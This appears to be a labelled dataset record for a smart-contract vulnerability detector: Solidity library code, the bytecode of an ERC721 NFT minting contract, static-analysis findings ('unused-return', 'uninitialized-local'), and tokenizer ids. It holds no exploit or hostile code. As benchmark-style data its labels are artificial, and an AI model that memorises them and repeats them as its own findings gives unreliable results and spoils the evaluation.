*/ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102e05760003560e01c80637dd0dbb511610184578063b88d4fde116100d6578063e670f7cd1161008a578063f252460111610064578063f25246011461080b578063f2fde38b14610841578063f42202e81461086157600080fd5b8063e670f7cd14610782578063e69c8a91146107a2578063e985e9c5146107c257600080fd5b8063c074f412116100bb578063c074f4121461072c578063c87b56dd1461074c578063d7822c991461076c57600080fd5b8063b88d4fde146106ec578063bb49ec7e1461070c57600080fd5b8063a08cdf6611610138578063a22cb46511610112578063a22cb4651461067c578063ac5fcdee1461069c578063b1acb346146106cc57600080fd5b8063a08cdf661461061c578063a13c038314610649578063a1e5995b1461066957600080fd5b80638da5cb5b116101695780638da5cb5b146105d357806395d89b41146105f1578063967676301461060657600080fd5b80637dd0dbb5146105935780637de46b69146105b357600080fd5b80633ccfd60b1161023d5780635a5e5d58116101f15780636e642aba116101cb5780636e642aba1461053e57806370a082311461055e578063715018a61461057e57600080fd5b80635a5e5d58146104dd5780636352211e146104fe5780636dcec5281461051e57600080fd5b806342842e0e1161022257806342842e0e1461047d5780634f6ccce71461049d578063511a9605146104bd57600080fd5b80633ccfd60b1461043b578063422627c31461045057600080fd5b806312b40a9f116102945780631a6949e3116102795780631a6949e3146103e657806323b872dd146103fb5780632f745c591461041b57600080fd5b806312b40a9f146103a857806318160ddd146103c857600080fd5b8063081812fc116102c5578063081812fc14610344578063095ea7b3146103715780630d0090ef1461039357600080fd5b806301ffc9a7146102ec57806306fdde031461032257600080fd5b366102e757005b600080fd5b3480156102f857600080fd5b5061030c610307366004612507565b610881565b604051610319919061308c565b60405180910390f35b34801561032e57600080fd5b506103376108dd565b604051610319919061309a565b34801561035057600080fd5b5061036461035f3660046125ab565b61096f565b604051610319919061303a565b34801561037d57600080fd5b5061039161038c3660046124a4565b6109c8565b005b34801561039f57600080fd5b5061030c610a4e565b3480156103b457600080fd5b506103916103c3366004612360565b610a79565b3480156103d457600080fd5b506008545b60405161031991906132bb565b3480156103f257600080fd5b5061030c610ad2565b34801561040757600080fd5b506103916104163660046123b5565b610aea565b34801561042757600080fd5b506103d96104363660046124a4565b610b1b565b34801561044757600080fd5b50610391610b6d565b34801561045c57600080fd5b506103d961046b3660046125ab565b6000908152600c602052604090205490565b34801561048957600080fd5b506103916104983660046123b5565b610c02565b3480156104a957600080fd5b506103d96104b83660046125ab565b610c1d565b3480156104c957600080fd5b506103916104d83660046125ab565b610c79565b6104f06104eb3660046125ab565b610ca8565b6040516103199291906132ff565b34801561050a57600080fd5b506103646105193660046125ab565b610df2565b34801561052a57600080fd5b506103916105393660046124d2565b610e27565b34801561054a57600080fd5b506103d9610559366004612360565b610ecb565b34801561056a57600080fd5b506103d9610579366004612360565b610f17565b34801561058a57600080fd5b50610391610f5b565b34801561059f57600080fd5b506103916105ae3660046124a4565b610f91565b3480156105bf57600080fd5b506103916105ce3660046125ab565b610fff565b3480156105df57600080fd5b50600a546001600160a01b0316610364565b3480156105fd57600080fd5b5061033761102e565b34801561061257600080fd5b506103d960125481565b34801561062857600080fd5b506103d9610637366004612360565b60156020526000908152604090205481565b34801561065557600080fd5b506103916106643660046125c8565b61103d565b6104f06106773660046125ab565b611092565b34801561068857600080fd5b50610391610697366004612476565b611247565b3480156106a857600080fd5b5061030c6106b7366004612360565b60146020526000908152604090205460ff1681565b3480156106d857600080fd5b506103916106e73660046124d2565b6112df565b3480156106f857600080fd5b50610391610707366004612400565b61137f565b34801561071857600080fd5b50610391610727366004612541565b6113b7565b34801561073857600080fd5b50600d54610364906001600160a01b031681565b34801561075857600080fd5b506103376107673660046125ab565b61149a565b34801561077857600080fd5b506103d960135481565b34801561078e57600080fd5b506103d961079d366004612541565b6115aa565b3480156107ae57600080fd5b506103376107bd3660046125c8565b6115db565b3480156107ce57600080fd5b5061030c6107dd36600461237d565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561081757600080fd5b506103d9610826366004612360565b6001600160a01b031660009081526016602052604090205490565b34801561084d57600080fd5b5061039161085c366004612360565b6116ed565b34801561086d57600080fd5b506104f061087c3660046125ab565b611746565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d630000000000000000000000000000000000000000000000000000000014806108d757506108d7826118ad565b92915050565b6060600080546108ec90613417565b80601f016020809104026020016040519081016040528092919081815260200182805461091890613417565b80156109655780601f1061093a57610100808354040283529160200191610965565b820191906000526020600020905b81548152906001019060200180831161094857829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109ac5760405162461bcd60e51b81526004016109a3906131cb565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006109d382610df2565b9050806001600160a01b0316836001600160a01b03161415610a075760405162461bcd60e51b81526004016109a39061322b565b336001600160a01b0382161480610a235750610a2381336107dd565b610a3f5760405162461bcd60e51b81526004016109a39061316b565b610a498383611990565b505050565b6000610a58610ad2565b158015610a6757506012544210155b8015610a74575060125415155b905090565b600a546001600160a01b03163314610aa35760405162461bcd60e51b81526004016109a3906131eb565b600d805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60006013544210158015610a74575050601354151590565b610af43382611a0b565b610b105760405162461bcd60e51b81526004016109a39061324b565b610a49838383611abd565b6000610b2683610f17565b8210610b445760405162461bcd60e51b81526004016109a3906130cb565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610b975760405162461bcd60e51b81526004016109a3906131eb565b604051600090339047908381818185875af1925050503d8060008114610bd9576040519150601f19603f3d011682016040523d82523d6000602084013e610bde565b606091505b5050905080610bff5760405162461bcd60e51b81526004016109a39061328b565b50565b610a498383836040518060200160405280600081525061137f565b6000610c2860085490565b8210610c465760405162461bcd60e51b81526004016109a39061325b565b60088281548110610c6757634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b600a546001600160a01b03163314610ca35760405162461bcd60e51b81526004016109a3906131eb565b601355565b6000806002600b541415610cce5760405162461bcd60e51b81526004016109a39061327b565b6002600b55610cdb610ad2565b610cf75760405162461bcd60e51b81526004016109a39061326b565b600083118015610d085750600a8311155b610d245760405162461bcd60e51b81526004016109a39061315b565b610d3160556127106133b7565b83610d3b600e5490565b610d459190613380565b1115610d635760405162461bcd60e51b81526004016109a3906130bb565b34610d7566b1a2bc2ec5000085613398565b14610d925760405162461bcd60e51b81526004016109a39061310b565b6000610d9d600e5490565b610da8906001613380565b905060005b84811015610de657610dc3600e80546001019055565b610dd4610dcf600e5490565b611bf7565b80610dde81613479565b915050610dad565b506001600b5593915050565b6000818152600260205260408120546001600160a01b0316806108d75760405162461bcd60e51b81526004016109a39061319b565b600a546001600160a01b03163314610e515760405162461bcd60e51b81526004016109a3906131eb565b60005b8151811015610ec757600160146000848481518110610e8357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ebf81613479565b915050610e54565b5050565b6001600160a01b03811660009081526014602052604081205460ff16610ef357506000919050565b6001600160a01b0382166000908152601560205260409020546108d79060056133b7565b60006001600160a01b038216610f3f5760405162461bcd60e51b81526004016109a39061318b565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610f855760405162461bcd60e51b81526004016109a3906131eb565b610f8f6000611c56565b565b600a546001600160a01b03163314610fbb5760405162461bcd60e51b81526004016109a3906131eb565b6002600b541415610fde5760405162461bcd60e51b81526004016109a39061327b565b6001600160a01b039091166000908152601660205260409020556001600b55565b600a546001600160a01b031633146110295760405162461bcd60e51b81526004016109a3906131eb565b601255565b6060600180546108ec90613417565b600a546001600160a01b031633146110675760405162461bcd60e51b81526004016109a3906131eb565b601054156110875760405162461bcd60e51b81526004016109a3906132ab565b601091909155601155565b6000806002600b5414156110b85760405162461bcd60e51b81526004016109a39061327b565b6002600b556110c5610a4e565b6110e15760405162461bcd60e51b81526004016109a39061323b565b826110fe5760405162461bcd60e51b81526004016109a39061315b565b3360009081526014602052604090205460ff1661112d5760405162461bcd60e51b81526004016109a39061321b565b61113a60556127106133b7565b83611144600e5490565b61114e9190613380565b111561116c5760405162461bcd60e51b81526004016109a3906130bb565b3461117e66b1a2bc2ec5000085613398565b1461119b5760405162461bcd60e51b81526004016109a39061310b565b336000908152601560205260408120546111b6908590613380565b905060058111156111d95760405162461bcd60e51b81526004016109a3906130ab565b60006111e4600e5490565b6111ef906001613380565b905060005b858110156112285761120a600e80546001019055565b611216610dcf600e5490565b8061122081613479565b9150506111f4565b50336000908152601560205260409020919091556001600b5593915050565b6001600160a01b0382163314156112705760405162461bcd60e51b81526004016109a39061312b565b3360008181526005602090815260408083206001600160a01b038716808552925291829020805460ff191685151517905590519091907f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31906112d390859061308c565b60405180910390a35050565b600a546001600160a01b031633146113095760405162461bcd60e51b81526004016109a3906131eb565b60005b8151811015610ec75760006014600084848151811061133b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061137781613479565b91505061130c565b6113893383611a0b565b6113a55760405162461bcd60e51b81526004016109a39061324b565b6113b184848484611cb5565b50505050565b6010546113d65760405162461bcd60e51b81526004016109a39061313b565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001600160a01b0316156114275760405162461bcd60e51b81526004016109a39061329b565b601054611433826115aa565b146114505760405162461bcd60e51b81526004016109a3906131ab565b6040805160208101909152601154815261146b336000611ce8565b60008052600c602052517f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e85550565b6000818152600260205260409020546060906001600160a01b03166114d15760405162461bcd60e51b81526004016109a39061320b565b600d546001600160a01b03166114f557505060408051602081019091526000815290565b600d546000838152600c60205260409081902090517fa62f8deb0000000000000000000000000000000000000000000000000000000081526001600160a01b0390921691829163a62f8deb9161154f9187916004016132e4565b60006040518083038186803b15801561156757600080fd5b505afa15801561157b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526115a39190810190612576565b9392505050565b6000816040516020016115bd9190612fef565b60408051601f19818403018152919052805160209091012092915050565b6000828152600260205260409020546060906001600160a01b03166116125760405162461bcd60e51b81526004016109a39061320b565b600d546001600160a01b031661163757506040805160208101909152600081526108d7565b60408051602081018252838152600d5491517fa62f8deb00000000000000000000000000000000000000000000000000000000815290916001600160a01b031690819063a62f8deb9061169090889086906004016132c9565b60006040518083038186803b1580156116a857600080fd5b505afa1580156116bc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526116e49190810190612576565b95945050505050565b600a546001600160a01b031633146117175760405162461bcd60e51b81526004016109a3906131eb565b6001600160a01b03811661173d5760405162461bcd60e51b81526004016109a3906130eb565b610bff81611c56565b6000806002600b54141561176c5760405162461bcd60e51b81526004016109a39061327b565b6002600b5582158015906117815750600a8311155b61179d5760405162461bcd60e51b81526004016109a39061315b565b6055836117a9600f5490565b6117b39190613380565b11156117d15760405162461bcd60e51b81526004016109a3906131db565b336000908152601660205260409020548311156118005760405162461bcd60e51b81526004016109a39061317b565b600061180b600e5490565b61181860556127106133b7565b6118229190613380565b61182d906001613380565b905060005b8481101561187d57611848600f80546001019055565b61186b611854600f5490565b61186160556127106133b7565b610dcf9190613380565b8061187581613479565b915050611832565b50336000908152601660205260408120805486929061189d9084906133b7565b90915550506001600b5593915050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd00000000000000000000000000000000000000000000000000000000148061194057507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806108d757507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316146108d7565b6000818152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915581906119d282610df2565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316611a3f5760405162461bcd60e51b81526004016109a39061314b565b6000611a4a83610df2565b9050806001600160a01b0316846001600160a01b03161480611a855750836001600160a01b0316611a7a8461096f565b6001600160a01b0316145b80611ab557506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611ad082610df2565b6001600160a01b031614611af65760405162461bcd60e51b81526004016109a3906131fb565b6001600160a01b038216611b1c5760405162461bcd60e51b81526004016109a39061311b565b611b27838383611d02565b611b32600082611990565b6001600160a01b0383166000908152600360205260408120805460019290611b5b9084906133b7565b90915550506001600160a01b0382166000908152600360205260408120805460019290611b89908490613380565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60408051602081019091526000815281334442604051602001611c1d9493929190612ffe565b60408051601f1981840301815291905280516020909101208152611c413383611ce8565b6000918252600c602052604090912090519055565b600a80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611cc0848484611abd565b611ccc84848484611dba565b6113b15760405162461bcd60e51b81526004016109a3906130db565b610ec7828260405180602001604052806000815250611f11565b6001600160a01b038316611d5d57611d5881600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611d80565b816001600160a01b0316836001600160a01b031614611d8057611d808382611f44565b6001600160a01b038216611d9757610a4981611fe1565b826001600160a01b0316826001600160a01b031614610a4957610a4982826120ba565b60006001600160a01b0384163b15611f06576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a0290611e17903390899088908890600401613048565b602060405180830381600087803b158015611e3157600080fd5b505af1925050508015611e61575060408051601f3d908101601f19168201909252611e5e91810190612524565b60015b611ebb573d808015611e8f576040519150601f19603f3d011682016040523d82523d6000602084013e611e94565b606091505b508051611eb35760405162461bcd60e51b81526004016109a3906130db565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050611ab5565b506001949350505050565b611f1b83836120fe565b611f286000848484611dba565b610a495760405162461bcd60e51b81526004016109a3906130db565b60006001611f5184610f17565b611f5b91906133b7565b600083815260076020526040902054909150808214611fae576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611ff3906001906133b7565b6000838152600960205260408120546008805493945090928490811061202957634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061205857634e487b7160e01b600052603260045260246000fd5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061209e57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006120c583610f17565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166121245760405162461bcd60e51b81526004016109a3906131bb565b6000818152600260205260409020546001600160a01b0316156121595760405162461bcd60e51b81526004016109a3906130fb565b61216560008383611d02565b6001600160a01b038216600090815260036020526040812080546001929061218e908490613380565b9091555050600081815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600061220c61220784613331565b61331a565b9050808382526020820190508285602086028501111561222b57600080fd5b60005b858110156122555761224087836122c9565b8352602092830192919091019060010161222e565b5050509392505050565b600061226d61220784613355565b90508281526020810184848401111561228557600080fd5b6122908482856133df565b509392505050565b60006122a661220784613355565b9050828152602081018484840111156122be57600080fd5b6122908482856133eb565b80356108d7816134e8565b600082601f8301126122e4578081fd5b8135611ab58482602086016121f9565b80356108d7816134fc565b80356108d781613504565b80516108d781613504565b600082601f830112612325578081fd5b8135611ab584826020860161225f565b600082601f830112612345578081fd5b8151611ab5848260208601612298565b80356108d78161352c565b600060208284031215612371578081fd5b6115a3838284016122c9565b6000806040838503121561238f578081fd5b61239b848285016122c9565b915060206123ab858286016122c9565b9150509250929050565b6000806000606084860312156123c9578081fd5b6123d5858286016122c9565b925060206123e5868287016122c9565b92505060406123f686828701612355565b9150509250925092565b60008060008060808587031215612415578081fd5b612421868287016122c9565b93506020612431878288016122c9565b935050604061244287828801612355565b925050606085013567ffffffffffffffff81111561245e578182fd5b61246a87828801612315565b91505092959194509250565b60008060408385031215612488578182fd5b612494848385016122c9565b915060206123ab858286016122f4565b600080604083850312156124b6578182fd5b6124c2848385016122c9565b915060206123ab85828601612355565b6000602082840312156124e3578081fd5b8082013567ffffffffffffffff8111156124fb578182fd5b611ab5848285016122d4565b600060208284031215612518578081fd5b6115a3838284016122ff565b600060208284031215612535578081fd5b6115a38382840161230a565b600060208284031215612552578081fd5b8082013567ffffffffffffffff81111561256a578182fd5b611ab584828501612315565b600060208284031215612587578081fd5b8082015167ffffffffffffffff81111561259f578182fd5b611ab584828501612335565b6000602082840312156125bc578081fd5b6115a383828401612355565b600080604083850312156125da578182fd5b6124c284838501612355565b6125ef816133ce565b82525050565b6125ef612601826133ce565b613494565b8015156125ef565b6000612618825190565b80845260208401935061262f8185602086016133eb565b601f01601f19169290920192915050565b600061264a825190565b6126588185602086016133eb565b9290920192915050565b602b8152602081017f4d6178204561726c792041636365737320636f756e742070657220616464726581527f7373206578636565646564000000000000000000000000000000000000000000602082015290505b60400190565b601c8152602081017f416c6c2052756e6e6572732068617665206265656e206d696e74656400000000815290505b60200190565b602b8152602081017f455243373231456e756d657261626c653a206f776e657220696e646578206f7581527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015290506126b6565b60328152602081017f4552433732313a207472616e7366657220746f206e6f6e20455243373231526581527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015290506126b6565b60268152602081017f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181527f6464726573730000000000000000000000000000000000000000000000000000602082015290506126b6565b601c8152602081017f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000815290506126ea565b601e8152602081017f496e636f727265637420616d6f756e74206f662065746865722073656e740000815290506126ea565b60248152602081017f4552433732313a207472616e7366657220746f20746865207a65726f2061646481527f7265737300000000000000000000000000000000000000000000000000000000602082015290506126b6565b60198152602081017f4552433732313a20617070726f766520746f2063616c6c657200000000000000815290506126ea565b60238152602081017f52756e6e6572205a65726f20686173206e6f74206265656e20636f6e6669677581527f7265640000000000000000000000000000000000000000000000000000000000602082015290506126b6565b602c8152602081017f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657881527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015290506126b6565b60148152602081017f496e76616c69642052756e6e657220636f756e74000000000000000000000000815290506126ea565b60388152602081017f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7781527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015290506126b6565b602a8152602081017f596f752063616e6e6f74206d696e742074686973206d616e792072657365727681527f65642052756e6e65727300000000000000000000000000000000000000000000602082015290506126b6565b602a8152602081017f4552433732313a2062616c616e636520717565727920666f7220746865207a6581527f726f206164647265737300000000000000000000000000000000000000000000602082015290506126b6565b60298152602081017f4552433732313a206f776e657220717565727920666f72206e6f6e657869737481527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015290506126b6565b600e8152602081017f496e636f72726563742073656564000000000000000000000000000000000000815290506126ea565b60208082527f4552433732313a206d696e7420746f20746865207a65726f206164647265737391019081526126ea565b602c8152602081017f4552433732313a20617070726f76656420717565727920666f72206e6f6e657881527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015290506126b6565b60258152602081017f416c6c2072657365727665642052756e6e6572732068617665206265656e206d81527f696e746564000000000000000000000000000000000000000000000000000000602082015290506126b6565b60208082527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657291019081526126ea565b60298152602081017f4552433732313a207472616e73666572206f6620746f6b656e2074686174206981527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015290506126b6565b602f8152602081017f4552433732314d657461646174613a2055524920717565727920666f72206e6f81527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015290506126b6565b60208082527f41646472657373206e6f74206f6e204561726c7920416363657373206c69737491019081526126ea565b60218152602081017f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6581527f7200000000000000000000000000000000000000000000000000000000000000602082015290506126b6565b60158152602081017f4561726c7920616363657373206e6f74206f70656e0000000000000000000000815290506126ea565b60318152602081017f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f81527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015290506126b6565b602c8152602081017f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f81527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015290506126b6565b60148152602081017f5075626c69632073616c65206e6f74206f70656e000000000000000000000000815290506126ea565b601f8152602081017f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00815290506126ea565b60118152602081017f5769746864726177616c206661696c6564000000000000000000000000000000815290506126ea565b60238152602081017f52756e6e6572205a65726f2068617320616c7265616479206265656e206d696e81527f7465640000000000000000000000000000000000000000000000000000000000602082015290506126b6565b60278152602081017f52756e6e6572205a65726f2068617320616c7265616479206265656e20636f6e81527f6669677572656400000000000000000000000000000000000000000000000000602082015290506126b6565b8051610a498382612fe9565b8054612fe181613444565b9050610a4983825b806125ef565b6108d78183612640565b919050565b6130088186612fe9565b60200161301581856125f5565b6014016130228184612fe9565b60200161302f8183612fe9565b602001949350505050565b602081016108d782846125e6565b6080810161305682876125e6565b61306360208301866125e6565b6130706040830185612fe9565b8181036060830152613082818461260e565b9695505050505050565b602081016108d78284612606565b602080825281016115a3818461260e565b602080825281016108d781612662565b602080825281016108d7816126bc565b602080825281016108d7816126f0565b602080825281016108d781612748565b602080825281016108d7816127a0565b602080825281016108d7816127f8565b602080825281016108d78161282a565b602080825281016108d78161285c565b602080825281016108d7816128b4565b602080825281016108d7816128e6565b602080825281016108d78161293e565b602080825281016108d781612996565b602080825281016108d7816129c8565b602080825281016108d781612a20565b602080825281016108d781612a78565b602080825281016108d781612ad0565b602080825281016108d781612b28565b602080825281016108d781612b5a565b602080825281016108d781612b8a565b602080825281016108d781612be2565b602080825281016108d781612c3a565b602080825281016108d781612c6a565b602080825281016108d781612cc2565b602080825281016108d781612d1a565b602080825281016108d781612d4a565b602080825281016108d781612da2565b602080825281016108d781612dd4565b602080825281016108d781612e2c565b602080825281016108d781612e84565b602080825281016108d781612eb6565b602080825281016108d781612ee8565b602080825281016108d781612f1a565b602080825281016108d781612f72565b602081016108d78284612fe9565b604081016132d78285612fe9565b6115a36020830184612fca565b604081016132f28285612fe9565b6115a36020830184612fd6565b6040810161330d8285612fe9565b6115a36020830184612fe9565b600061332560405190565b9050612ff9828261344c565b600067ffffffffffffffff82111561334b5761334b6134d2565b5060209081020190565b600067ffffffffffffffff82111561336f5761336f6134d2565b601f19601f83011660200192915050565b60008219821115613393576133936134a6565b500190565b60008160001904831182151516156133b2576133b26134a6565b500290565b6000828210156133c9576133c96134a6565b500390565b60006001600160a01b0382166108d7565b82818337506000910152565b60005b838110156134065781810151838201526020016133ee565b838111156113b15750506000910152565b60028104600182168061342b57607f821691505b6020821081141561343e5761343e6134bc565b50919050565b6000816108d7565b601f19601f830116810181811067ffffffffffffffff82111715613472576134726134d2565b6040525050565b600060001982141561348d5761348d6134a6565b5060010190565b60006108d78260006108d78260601b90565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6134f1816133ce565b8114610bff57600080fd5b8015156134f1565b7fffffffff0000000000000000000000000000000000000000000000000000000081166134f1565b806134f156fea2646970667358221220f31abe34fd655150e808385d2484fb59cb199bb0694f5426074f494cba2637ed64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 23352, 2683, 19841, 2692, 24594, 17914, 17134, 2549, 4783, 2050, 21472, 17788, 2692, 11057, 2692, 22203, 2692, 2278, 2683, 2497, 21057, 2094, 2620, 2581, 2050, 27814, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,785
0x975a14532d37b2f0a1be67f1425da646e06587e2
